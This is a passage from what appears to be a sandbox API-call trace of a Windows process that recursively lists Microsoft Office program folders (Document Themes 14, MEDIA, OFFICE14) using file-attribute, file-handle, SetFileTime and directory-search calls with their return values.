returned 1 [0246.362] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9926f0) returned 1 [0246.362] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9924e0) returned 1 [0246.362] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0246.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0246.362] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0246.363] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9983f0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9983f0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0246.363] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9983f0) returned 1 [0246.363] NtClose (Handle=0x1b0) returned 0x0 [0246.363] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9924e0) returned 1 [0246.363] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0246.389] GetLastError () returned 0x12 [0246.389] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd660 [0246.389] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0246.389] GetLastError () returned 0x12 [0246.389] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9926f0) returned 1 [0246.389] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0246.390] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9925e8) returned 1 [0246.390] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9924e0) returned 1 [0246.390] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0246.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0246.391] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0246.391] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a1bc0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9a1bc0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0246.391] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9a1bc0) returned 1 [0246.391] NtClose (Handle=0x1c0) returned 0x0 [0246.391] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9924e0) returned 1 [0246.391] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd660 [0246.482] GetLastError () returned 0x12 [0246.482] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0246.482] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0246.482] GetLastError () returned 0x12 [0246.482] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9925e8) returned 1 [0246.482] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0246.483] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9926f0) returned 1 [0246.483] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9924e0) returned 1 [0246.483] GetLastError () returned 0x12 [0246.483] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943620) returned 1 [0246.483] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.483] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0246.483] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943510) returned 1 [0246.483] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA" (normalized: "c:\\program files\\microsoft office\\media"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0246.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA" (normalized: "c:\\program files\\microsoft office\\media"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0246.541] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0246.541] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a9d40, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9a9d40, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0246.541] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9a9d40) returned 1 [0246.541] NtClose (Handle=0x1b4) returned 0x0 [0246.542] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943510) returned 1 [0246.542] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0246.542] GetLastError () returned 0x12 [0246.542] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd560 [0246.542] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.542] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0246.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0246.542] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0246.542] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a9d40, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9a9d40, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0246.542] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9a9d40) returned 1 [0246.542] NtClose (Handle=0x1b4) returned 0x0 [0246.543] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x98c6d0) returned 1 [0246.543] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0246.640] GetLastError () returned 0x12 [0246.640] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd660 [0246.640] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.641] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0246.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0246.642] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0246.643] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a7078, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9a7078, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0246.643] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9a7078) returned 1 [0246.643] NtClose (Handle=0x1b4) returned 0x0 [0246.643] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x98c868) returned 1 [0246.643] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0246.643] GetLastError () returned 0x12 [0246.643] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd520 [0246.643] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.643] GetLastError () returned 0x12 [0246.643] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b0778) returned 1 [0246.643] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0246.643] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0246.643] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x98c868) returned 1 [0246.643] GetLastError () returned 0x12 [0246.643] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x98c7e0) returned 1 [0246.644] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0246.644] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x98c758) returned 1 [0246.644] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x98c6d0) returned 1 [0246.644] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" (normalized: "c:\\program files\\microsoft office\\media\\office14"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0246.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" (normalized: "c:\\program files\\microsoft office\\media\\office14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0246.682] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0246.682] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a7078, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9a7078, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0246.682] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9a7078) returned 1 [0246.682] NtClose (Handle=0x1c0) returned 0x0 [0246.683] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x98c6d0) returned 1 [0246.683] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd660 [0246.683] GetLastError () returned 0x12 [0246.683] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd520 [0246.683] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0246.683] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0246.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0246.683] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0246.683] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a7078, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9a7078, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0246.683] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9a7078) returned 1 [0246.683] NtClose (Handle=0x1c0) returned 0x0 [0246.684] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x98c868) returned 1 [0246.684] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0246.684] GetLastError () returned 0x12 [0246.684] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0246.684] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0246.684] GetLastError () returned 0x12 [0246.684] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b06f0) returned 1 [0246.684] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.684] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0246.684] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x98c868) returned 1 [0246.684] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0246.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0246.729] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0246.729] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a7078, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9a7078, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0246.729] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9a7078) returned 1 [0246.729] NtClose (Handle=0x1b4) returned 0x0 [0246.729] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x98c868) returned 1 [0246.729] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0246.793] GetLastError () returned 0x12 [0246.793] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0246.793] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.793] GetLastError () returned 0x12 [0246.793] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b0888) returned 1 [0246.793] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0246.794] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0246.794] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x98c868) returned 1 [0246.794] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0246.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0246.822] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0246.822] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a7078, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9a7078, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0246.822] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9a7078) returned 1 [0246.822] NtClose (Handle=0x1c0) returned 0x0 [0246.822] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x98c868) returned 1 [0246.822] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0246.848] GetLastError () returned 0x12 [0246.848] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0246.848] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0246.848] GetLastError () returned 0x12 [0246.848] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b0800) returned 1 [0246.848] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.849] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0246.849] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x98c868) returned 1 [0246.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0246.852] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0246.852] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9baa48, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9baa48, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0246.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9baa48) returned 1 [0246.852] NtClose (Handle=0x1b4) returned 0x0 [0246.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x98c868) returned 1 [0246.852] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0246.858] GetLastError () returned 0x12 [0246.858] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0246.858] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.858] GetLastError () returned 0x12 [0246.858] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b06f0) returned 1 [0246.858] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0246.859] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0246.859] RtlFreeHeap (HeapHandle=0x4a0000, 